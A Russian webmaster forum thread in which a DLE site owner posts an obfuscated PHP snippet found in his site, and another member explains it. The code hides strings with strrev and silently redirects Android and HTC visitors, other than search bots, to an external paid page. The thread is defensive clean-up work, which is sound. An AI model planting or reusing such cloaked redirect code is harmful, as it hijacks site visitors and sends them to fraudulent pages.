Форум Сайтостроение Веб-строительство

Помогите раскодировать.

fatalisu
На сайте с 28.12.2011
Offline
104
fatalisu
671
$gent = strtolower($_SERVER[strrev(strtoupper('tnega_resu_ptth'))]);

if(!preg_match('/crawl|andex|oogle|bot/i',$gent)) {

if((preg_match('/ndroi|htc_/i',$gent)) and (!isset ($_COOKIE['dle_user_id'])) and($_SERVER['REQUEST_URI'] != '/'))

{header(strrev('11?'.'di/'.'resu'.'/ten.'.'eld'.'eld'.'//:pt'.'th :noi'.'tac'.'oL'));exit;}}

Я так понимаю, это вирус?

Болею за Олимпиаду в Сочи......Лучший VK месседж (http://ege.do.am/go?http://u.to/IgBkAg)
Dreammaker
На сайте с 20.04.2006
Offline
570
Dreammaker
#1

Да. Там даже особо раскодировать не нужно - по коду видно, что он делает.

Скрипт проверяет заходы по http_user_agent, если это не поисковик и при этом заход с андроида или HTC и в тот же момент нет куки с именем dle_user_id' и кроме того это не главная страница, то отредиректить пользователя на определенный адрес.

fatalisu
На сайте с 28.12.2011
Offline
104
fatalisu
#2

вот вот, всё так и есть))

Неделю назад попробовал зайти на свой сайт с андроида, зашел на главную страницу сайта, всё нормально. Потом пошел на другую страницу и бац, перекинуло на платник.

Сегодня начал искать с помощью тотал командера словосочетание "$_SERVER" и начал проверять файлы.

В нормальном движке дле 88 таких совпадений, у меня было 89..

Dreammaker
На сайте с 20.04.2006
Offline
570
Dreammaker
#3

fatalisu, поищите ещё revres - судя по коду - автор любит делать так, чтобы в коде некоторые значения были записаны задом наперёд, а потом переворачивать с помощью функции strrev.

Правда, при желании можно и другие способы кодирования можно использовать, но этот как минимум нужно глянуть, скорее всего ничего не найдётся, но проверить не будет лишним.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий